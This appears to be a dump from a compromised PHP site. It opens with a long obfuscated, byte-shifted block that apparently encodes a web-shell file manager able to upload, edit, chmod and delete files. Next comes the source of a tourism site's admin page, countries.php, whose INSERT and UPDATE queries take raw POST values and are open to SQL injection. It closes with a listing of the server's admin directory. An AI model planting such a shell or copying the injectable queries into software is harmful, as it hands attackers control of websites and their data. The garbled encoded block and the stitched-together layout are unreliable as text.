ˆÅ¡ÖÉÅÐÔÅØÌŒˆÃ·©¶º©¶¿‹¨³§¹±©²¸Ã¶³³¸‹ÁŸÊÙÒÇØÍÓÒ„ÜŒˆÆßÖÉØÙÖÒ„ÆÅ×Éš˜ÃÉÒÇÓÈÉŒˆÆŸáÊÙÒÇØÍÓÒ„ÝŒˆÆßÖÉØÙÖÒ„ÆÅ×Éš˜ÃÈÉÇÓÈÉŒˆÆŸáÊÓÖÉÅÇÌŒˆÃ«©¸„Å×„ˆÇ¡¢ˆÈˆÃ«©¸¿ˆÇÁ¡ÝŒˆÈŸÍÊŒÍ××ÉØŒˆÃ«©¸¿‹È‹ÁˆÃ«©¸¿‹Ê‹ÁŠŠ…Í×ÃÈÍÖŒˆÃ«©¸¿‹È‹Á’‹“‹’ˆÃ«©¸¿‹Ê‹ÁßÍÊŒÍ××ÉØŒˆÃ´³·¸¿‹Ø‹ÁÉÇÌÓ„‹ª°©„‹’ŒÊÍÐÉÃÔÙØÃÇÓÒØÉÒØ×ŒˆÃ«©¸¿‹È‹Á’‹“‹’ˆÃ´³·¸¿‹Ê‹ÁˆÃ´³·¸¿‹Ø‹Á£‹ÈÓÒÉ‹ž‹ÊÅÍÐÉÈ‹’‹„ÙÔÈÅØÍÒË’‹ŸÉÇÌÓ„ˆÃ«©¸¿‹Ê‹Á’‹ ÊÓÖÑ„ÑÉØÌÓÈ¡ÔÓ×Ø„ÅÇØÍÓÒ¡†£‹’ˆÃ·©¶º©¶¿‹µ¹©¶½Ã·¸¶²«‹Á’‹†¢ ÍÒÔÙØ„ÒÅÑÉ¡†Ê†„ÚÅÐÙÉ¡†‹’ˆÃ«©¸¿‹Ê‹Á’‹†¢ ØÉÜØÅÖÉÅ„ÒÅÑÉ¡†Ø†¢‹’ÌØÑÐ×ÔÉÇÍÅÐÇÌÅÖ×ŒÔÖÉËÃÖÉÔÐÅÇÉŒ‹“¿ÂŒÀÜ””‘ÀÜ›ÊÁ“‹‹‹ŒÊÍÐÉÃËÉØÃÇÓÒØÉÒØ×ŒˆÃ«©¸¿‹È‹Á’‹“‹’ˆÃ«©¸¿‹Ê‹Á’‹ “ØÉÜØÅÖÉÅ¢ ÍÒÔÙØ„ØÝÔÉ¡×ÙÆÑÍØ„ÚÅÐÙÉ¡ÙÔÈÅØÉ¢ “ÊÓÖÑ¢‹ŸáÍÊŒÍ××ÉØŒˆÃ«©¸¿‹È‹ÁˆÃ«©¸¿‹Ê‹ÁˆÃ«©¸¿‹Ç‹ÁÉÇÌÓ„‹§¬±³¨„‹’ŒÇÌÑÓÈŒˆÃ«©¸¿‹È‹Á’‹“‹’ˆÃ«©¸¿‹Ê‹ÁÓÇØÈÉÇŒˆÃ«©¸¿‹Ç‹Á£‹ÈÓÒÉ‹ž‹ÊÅÍÐÉÈ‹ŸÍÊŒÍ××ÉØŒˆÃ«©¸¿‹È‹ÁˆÃª°©·¿‹Ù‹ÁÉÇÌÓ„‹¹´°³¥¨„‹’ŒÑÓÚÉÃÙÔÐÓÅÈÉÈÃÊÍÐÉŒˆÃª°©·¿‹Ù‹Á¿‹ØÑÔÃÒÅÑÉ‹ÁˆÃ«©¸¿‹È‹Á’‹“‹’ÆÅ×ÉÒÅÑÉŒˆÃª°©·¿‹Ù‹Á¿‹ÒÅÑÉ‹Á£‹ÈÓÒÉ‹ž‹ÊÅÍÐÉÈ‹ŸÍÊŒÍ××ÉØŒˆÃ«©¸¿‹È‹ÁˆÃ«©¸¿‹Ü‹ÁÉÇÌÓ„‹¨©°©¸©„‹’ŒÙÒÐÍÒÏŒˆÃ«©¸¿‹È‹Á’‹“‹’ˆÃ«©¸¿‹Ü‹Á£‹ÈÓÒÉ‹ž‹ÊÅÍÐÉÈ‹ŸˆÉ¡ÖÉÅÐÔÅØÌŒÍ××ÉØŒˆÃ«©¸¿‹È‹Á£ˆÃ«©¸¿‹È‹ÁžˆÅŸÇÌÈÍÖŒˆÉŸÉÇÌÓ„‹ ÌÖ¢ÈÓÇÖÓÓØž„ Å„ÌÖÉÊ¡†£È¡‹’ÜŒˆÅ’‹†¢‹’ˆÅ’‹ “Å¢ ÌÖ¢ÇÙÖÈÍÖž„‹’ˆÉ’‹ ÊÓÖÑ„ÑÉØÌÓÈ¡†ÔÓ×Ø†„ÅÇØÍÓÒ¡†‡†„ÉÒÇØÝÔÉ¡†ÑÙÐØÍÔÅÖØ“ÊÓÖÑ‘ÈÅØÅ†¢ ÍÒÔÙØ„ØÝÔÉ¡†ÊÍÐÉ†„ÒÅÑÉ¡†Ù†¢ ÍÒÔÙØ„ØÝÔÉ¡†×ÙÆÑÍØ†„ÚÅÐÙÉ¡†¹Ô°”ÅÈ†¢ “ÊÓÖÑ¢ ØÅÆÐÉ„ÆÓÖÈÉÖ¡•¢‹ŸÊÓÖÉÅÇÌŒ×ÇÅÒÈÍÖŒˆÉ„Å×„ˆÚßˆÙ¡ÖÉÅÐÔÅØÌŒˆÚŸˆ×¡×ØÅØŒˆÙŸÉÇÌÓ„‹ ØÖ¢ ØÈ¢‹’Œˆ×¿‹ÑÓÈÉ‹Á¢¡”Üœ”””£‹ Å„ÌÖÉÊ¡†£È¡‹’ÜŒˆÉ’‹ŠÜ¡‹’ÜŒˆÚ’‹†¢¼ “Å¢‹ž‹‹’‹ “ØÈ¢ ØÈ¢ Å„ÌÖÉÊ¡†£‹’Œˆ×¿‹ÑÓÈÉ‹Á¢¡”Üœ”””£‹È¡‹’ÜŒˆÉ’‹ŠÊ¡‹’ÜŒˆÚž‹È¡‹’ÜŒˆÙ’‹†“¢‹’ˆÚ’‹ “Å¢ “ØÈ¢ ØÈ¢ ÍÒÔÙØ„ØÝÔÉ¡†ÆÙØØÓÒ†„ÓÒÇÐÍÇÏ¡†Ç¡ÔÖÓÑÔØŒÄÇÌÑÓÈžÄØÌÍ×’ÚÅÐÙÉÇ£ÐÓÇÅØÍÓÒ’ÌÖÉÊ¡Ä£È¡‹’ÜŒˆÉ’‹ŠÊ¡‹’ÜŒˆÚ’‹ŠÇ¡ÄÆØÓÅŒÇž”†„ÚÅÐÙÉ¡†‹’×ÙÆ×ØÖŒ×ÔÖÍÒØÊŒ‹‰Ó‹ˆ×¿‹ÑÓÈÉ‹Á‘˜’‹†¢ “ØÈ¢ ØÈ¢‹’ˆ×¿‹×ÍÞÉ‹Á’‹ “ØÈ¢ “ØÖ¢‹ŸáÉÇÌÓ„‹ “ØÅÆÐÉ¢‹Ÿnncountries.php

<?php
include_once("./include/config.php");

if(isset( $_SESSION['user_name'] ))
{

if(isset( $_POST['country_submit'] ))
   {
      
   
      
      $country_name = $_POST['country_name'];
      $country_slug = $_POST['country_slug'];
      $country_description = $_POST['country_description'];
      $country_cat = $_POST['country_cat'];
      
      $country_slug_f = preg_replace('/[^a-z0-9-]+/', '-', trim(strtolower($country_slug)));
              
           
       
       $insert_cat = "INSERT INTO `countries` (`category_slug`, `country_name`, `country_slug`, `country_description`) VALUES ('$country_cat', '$country_name', '$country_slug_f', '$country_description')";

mysqli_query($conDB,$insert_cat);

}

if(isset( $_POST['edit_coun_submit'] ))
   {

$country_id = $_POST['country_id'];
      $country_name = $_POST['country_name'];
      $country_description = $_POST['country_description'];
      $country_e_cat = $_POST['country_e_cat'];
      
    
     $e_coun = "UPDATE `countries` SET `category_slug` = '$country_e_cat', `country_name` = '$country_name', `country_description` = '$country_description' WHERE `countries`.`id` = $country_id";

mysqli_query($conDB,$e_coun);

}

include_once("./include/header.php");
?>
    
    <title>Aadhvi - Dashboard</title>
    <meta property="og:image" content="../images/seo_logo.jpg">
    <meta name="twitter:image" content="../images/seo_logo.jpg">
    <meta property="og:locale" content="hi_IN">
    <meta name="twitter:card" content="summary_large_image">
    <meta property="og:type" content="website">
    <meta property="og:title" content="Aadhavi">
    <meta property="og:description" content="Aadhavi is the best platform for Tourism">
    <meta property="og:image:alt" content="Aadhavi is the best platform for Tourism">
    <meta name="twitter:title" content="Aadhavi is the best platform for Tourism">
    <meta name="twitter:description" content="Aadhavi is the best platform for Tourism">
    <meta property="og:sitename" content="aadhvi">
    <meta property="og:image:width" content="600">
    <meta property="og:image:height" content="315">
    <meta property="og:image:type" content="image/jpg">
    
</head>
<body>

<div class="row">
    
    <?php
    include_once("./include/admin_menu.php");
    ?>
    
    
    <div class="col-lg-9">

<div class="row">

<div class="col-lg-6">

<select name="country_cat" required >
                   <option value="">Select Country Category</option>
                   <?php
                   $select_cat = "SELECT * FROM `categories`";
                   $query_cat = mysqli_query($conDB,$select_cat);
                   while($cat_fetch = mysqli_fetch_assoc($query_cat))
                   {
                   ?>
                   <option value="<?= $cat_fetch['categories_slug'] ?>"><?= $cat_fetch['categories_name'] ?></option>
                   <?php
                   }
                   ?>
                </select>

</form>

</div>

<div class="col-lg-6">

<thead>
                  <tr>
                     <th>Countries Name</th>
                     <th>Slug</th>
                     <th>Action</th>
                  </tr>
               </thead>

<div class="modal" id="edite_<?= $cou_fetch['id'] ?>">
               <div class="modal-dialog">
                  <div class="modal-content">
                     <div class="modal-header">
                        <h4 class="modal-title">Edite </h4>
                        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                     </div>
                     <div class="modal-body">

<form method="post">

<input type="hidden" class="form-control" value="<?= $cou_fetch['id'] ?>"  name="country_id" />

<label for="">Countries Name</label>
                        
                        <input type="text" class="form-control" value="<?= $cou_fetch['country_name'] ?>" required name="country_name" />

<label for="" class="mt-3">Description</label>
                        <input type="text" class="form-control mt-3" value="<?= $cou_fetch['country_description'] ?>" required name="country_description" />

<label for="" class="mt-3">Category</label>
                        <select name="country_e_cat" class="form-control" >
                       
                        <?php
                        $country_slug =  $cou_fetch['category_slug'];

$select_cat_d = "SELECT * FROM `categories` WHERE `categories`.`categories_slug` = '$country_slug'";

$cat_d_query = mysqli_query($conDB,$select_cat_d);

$cat_d_f = mysqli_fetch_assoc($cat_d_query);
                         
                        ?>
                        <option selected value="<?= $cat_d_f["categories_slug"] ?>"><?= $cat_d_f["categories_name"] ?></option>

<?php
                   $select_cat = "SELECT * FROM `categories`";
                   $query_cat = mysqli_query($conDB,$select_cat);
                   while($cat_fetch = mysqli_fetch_assoc($query_cat))
                   {
                   ?>
                   <option value="<?= $cat_fetch['categories_slug'] ?>"><?= $cat_fetch['categories_name'] ?></option>
                   <?php
                   }
                   ?>
                        </select>
                        
                        <input type="submit" class="mt-3 btn btn-info text-white" name="edit_coun_submit" />

</form>
                     
                     </div>
                     
                  </div>
               </div>
            </div>

<i class="fa-solid fa-trash text-danger" data-bs-toggle="modal" data-bs-target="#coun_delete_<?= $cou_fetch['id'] ?>"></i>
   
   <div class="modal" id="coun_delete_<?= $cou_fetch['id'] ?>">
      <div class="modal-dialog">
         <div class="modal-content">
            <div class="modal-header">
               <h4 class="modal-title">Delete Alert</h4>
               <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body text-danger text-center"> <b>
               Do you want to delete this record permanently ?</b>
            </div>
            <div class="modal-footer justify-content-between">
               <button type="button " class="btn btn-danger btn-sm" data-bs-dismiss="modal">No</button>
               <button type="button " class="btn btn-success btn-sm remove_coun" data-bs-dismiss="modal" id="<?= $cou_fetch['id'] ?>">yes</button>
            </div>
         </div>
      </div>
   
   </div>
   
                     </div>
                  </td>
               </tr>
               <?php
               }
               ?>
               </tbody>

</table>

</div>

</div>
           
            
        </div>

</div>

</div>

</section>

<?php
   include_once("./include/footer.php");
}else{
   echo "<script>";
   echo "window.location.href ='./'";
   echo "</script>";
}
?>
<script>
   $('.cat_table').DataTable({
  dom: 'Bfrtip',
  responsive: true,
  "pageLength": 10,
  "pagenation": true,
  "bSort" : false,
});
</script>

docroot: /home/aadhvi/public_html

curdir: /home/aadhvi/public_html/admin

	.	4096
	..	4096
X	add-post.php	6120
X	all-posts.php	4691
	ckeditor	4096
	ckfinder	4096
X	countries.php	9785
X	edite.php	9487
	include	4096
X	index.php	1869